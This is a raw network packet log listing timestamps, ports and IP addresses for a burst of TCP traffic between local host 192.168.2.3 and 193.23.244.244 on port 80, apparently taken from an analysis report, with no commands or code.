Dec 11, 2022 09:26:41.003551006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003596067 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003596067 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.003638029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003640890 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.003693104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003710032 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003745079 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.003751040 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003788948 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.003793001 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003834963 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003875971 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003914118 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.003916025 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003957033 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.003957033 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003998041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004039049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004080057 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004122019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004164934 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004165888 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004206896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004249096 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004276037 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004288912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004293919 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004329920 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004370928 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004370928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004411936 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004452944 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004492998 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004494905 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004534960 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004535913 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004578114 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004617929 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004657984 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004658937 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004695892 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004698992 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004739046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004780054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004821062 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004822016 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004861116 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.004863024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004919052 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.004961014 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.005002975 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.005004883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.005044937 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.017159939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.017256975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.017298937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.017343044 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.017347097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.017385006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.017386913 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.017426014 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.017467976 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.017508030 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.017508030 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.017546892 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.017549038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.024230003 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.024347067 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.024565935 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.024611950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.024678946 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.024703979 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.024760962 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.024843931 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.027194977 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.027241945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.027318954 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.033231020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.033327103 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.033432007 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.033505917 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.033708096 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.033905029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.033950090 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.033963919 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.033992052 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.033992052 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034034967 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034076929 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034121037 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034125090 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034149885 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034194946 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034214020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034259081 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034267902 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034310102 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034352064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034393072 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034394026 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034435034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034436941 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034476995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034518003 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034559011 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034560919 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034603119 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034604073 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034645081 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034687042 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034729004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034729958 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034770012 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034774065 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034811020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034852028 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034898043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.034918070 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.034960985 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035005093 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035007954 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035048008 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035048008 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035089016 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035131931 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035176039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035177946 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035217047 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035218954 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035259962 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035301924 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035345078 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035376072 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035387039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035388947 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035429001 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035470963 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035511017 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035515070 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035552025 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035552025 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035593033 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035635948 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035679102 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035691977 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035721064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035728931 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035762072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035803080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035815001 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035842896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035883904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035924911 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035942078 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.035965919 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.035967112 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.036010027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.038495064 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.045766115 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.045815945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.045857906 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.045905113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.045912027 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.045949936 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.045969963 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.046015978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.046056986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.046097040 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.046098948 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.046139002 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.052504063 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.052596092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.052675009 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.052676916 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.052721977 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.052763939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.052803993 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.052809000 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.052843094 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.055263996 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.055316925 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.055381060 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.064219952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064321041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064399958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064455032 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.064474106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064522028 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.064614058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064668894 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064728022 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064769030 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064770937 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.064810991 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064810991 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.064872026 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064913988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064953089 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.064954996 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.064995050 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.064997911 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065037966 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065098047 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065141916 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.065157890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065200090 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.065320015 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065453053 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065565109 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065607071 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.065634966 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065676928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065677881 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.065752029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065814018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065859079 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.065922022 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.065960884 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.065994978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066078901 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066154003 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066215038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066255093 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066296101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066337109 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066375971 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.066381931 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066431046 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.066450119 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066492081 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066533089 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066533089 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.066574097 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066615105 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066657066 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.066657066 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066694975 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.066696882 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066737890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066777945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066819906 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066823959 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.066860914 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066862106 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.066930056 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.066971064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067012072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067027092 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.067053080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067054987 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.067092896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067133904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067176104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067177057 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.067217112 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.067218065 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067259073 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067298889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067339897 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.067339897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.067382097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.067382097 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.074125051 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.074188948 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.074249983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.074291945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.074312925 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.074332952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.074368000 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.074373960 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.074385881 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.074417114 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.074455023 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.074459076 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.080749035 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.080796003 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.080821991 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.080838919 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.080884933 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.080888033 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.080950975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.081011057 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.081046104 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.083395958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.083412886 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.083456039 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.095702887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.095756054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.095777035 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.096358061 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096461058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096498966 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.096501112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096543074 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.096544981 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096585989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096626997 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.096626997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096672058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096736908 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096781015 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.096904039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096961975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.096965075 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.097024918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.097080946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.097105980 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.097115040 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.097147942 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.097632885 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.097706079 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.097764015 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.097865105 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.097909927 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.097953081 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.097953081 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.097996950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.098037004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.098081112 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.098084927 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.098148108 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.098189116 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.098604918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.098764896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.098794937 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.098841906 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.098886967 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.098911047 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.098954916 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099014044 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099055052 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.099159956 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099201918 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.099232912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099275112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099314928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099355936 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099355936 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.099396944 CET	49738	80	192.168.2.3	193.23.244.244
